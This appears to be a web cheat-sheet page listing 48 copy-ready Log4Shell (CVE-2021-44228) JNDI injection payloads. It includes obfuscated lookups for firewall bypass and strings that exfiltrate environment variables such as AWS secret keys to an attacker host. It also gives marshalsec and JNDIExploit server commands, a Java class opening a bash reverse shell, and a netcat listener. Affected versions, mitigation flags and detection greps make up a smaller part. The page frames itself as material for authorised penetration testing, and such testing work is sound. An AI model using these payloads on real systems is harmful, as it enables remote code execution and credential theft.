Log4Shell (CVE-2021-44228) and JNDI injection payloads: detection strings, lookup nesting for WAF bypass, LDAP/RMI/DNS callback setups, marshalsec + exploit servers, and affected version reference. (48 payloads)
${jndi:ldap://${hostName}.x.attacker.oast.fun/a}${jndi:dns://attacker.oast.fun/x}${jndi:ldap://attacker.oast.fun/a}X-Api-Version: ${jndi:ldap://${hostName}.hdr.attacker.oast.fun/a}${jndi:rmi://attacker.oast.fun:1099/a}${jndi:ldaps://attacker.oast.fun/a}username=${jndi:ldap://${env:USER}.${sys:java.version}.attacker.oast.fun/a}${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.oast.fun}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.oast.fun/a}${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}a${lower:p}://attacker.oast.fun/a}${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attacker.oast.fun/a}${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://attacker.oast.fun/a}${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.oast.fun/a}${jndi:ldap://127.0.0.1#attacker.oast.fun/a}${jndi:ldap://attacker%2eoast%2efun/a}${j${k8s:k5:-ndi}:ldap://attacker.oast.fun/a}java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER:8888/#Exploit" 1389java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ATTACKER:8888/#Exploit" 1099javac Exploit.java -source 8 -target 8 ; python3 -m http.server 8888public class Exploit { static { try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER/4444 0>&1"}); } catch(Exception e){} } }java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ATTACKER -p 8080java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtaQ==}|{base64,-d}|{bash,-i}" --hostname ATTACKERnc -lvnp 4444interactsh-client -v # or use a Collaborator / webhook.site URL as the JNDI hostUser-Agent: ${jndi:ldap://ua.attacker.oast.fun/a}X-Forwarded-For: ${jndi:ldap://xff.attacker.oast.fun/a}Authorization: Basic ${jndi:ldap://authz.attacker.oast.fun/a}POST /login username=${jndi:ldap://login.attacker.oast.fun/a}&password=xGET /?q=${jndi:ldap://param.attacker.oast.fun/a}Subject: ${jndi:ldap://smtp.attacker.oast.fun/a}TLS SNI / client-cert CN: ${jndi:ldap://sni.attacker.oast.fun/a}X-Druid-Comment / hidden API fields: ${jndi:ldap://api.attacker.oast.fun/a}CVE-2021-44228 — Log4j 2.0-beta9 through 2.14.1 (the original Log4Shell, CVSS 10.0)CVE-2021-45046 — 2.15.0 incomplete fixCVE-2021-45105 — 2.0-alpha1 through 2.16.0CVE-2021-44832 — through 2.17.0Patched lines: 2.3.2 (Java 6), 2.12.4 (Java 7), 2.17.1 (Java 8+)Not vulnerable to JNDI RCE: Log4j 1.x (EOL, but check CVE-2021-4104 JMSAppender), Logback, java.util.logging-Dlog4j2.formatMsgNoLookups=true / LOG4J_FORMAT_MSG_NO_LOOKUPS=true-Dcom.sun.jndi.ldap.object.trustURLCodebase=false (default since 8u191/11.0.1)${jndi:ldap://ATTACKER/Basic/Command/Base64/aWQ=} (JNDIExploit path)${jndi:ldap://ATTACKER/Basic/ReverseShell/ATTACKER/4444}${jndi:ldap://ATTACKER/TomcatBypass/Command/Base64/...} or /GroovyBypass/...find / -name 'log4j-core-*.jar' 2>/dev/null ; unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep -i versiongrep -rIE '\$\{jndi:(ldap|ldaps|rmi|dns|iiop|corba|nis|nds)' /var/loggrep -lr log4j ~/.m2 ; jdeps --list-deps app.jar ; mvn dependency:tree | grep log4jlogout4shell / log4j-vaccine: inject ${jndi:ldap://.../vaccine} to set formatMsgNoLookups in-placeEgress test: ${jndi:dns://INTERNAL-DNS/...} vs ${jndi:ldap://EXTERNAL/...}Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 48 Log4Shell/JNDI payloads for testing Log4Shell / JNDI Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Callback Catcher Helper to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all Log4Shell/JNDI payloads are completely free, with no account required. Everything runs in your browser.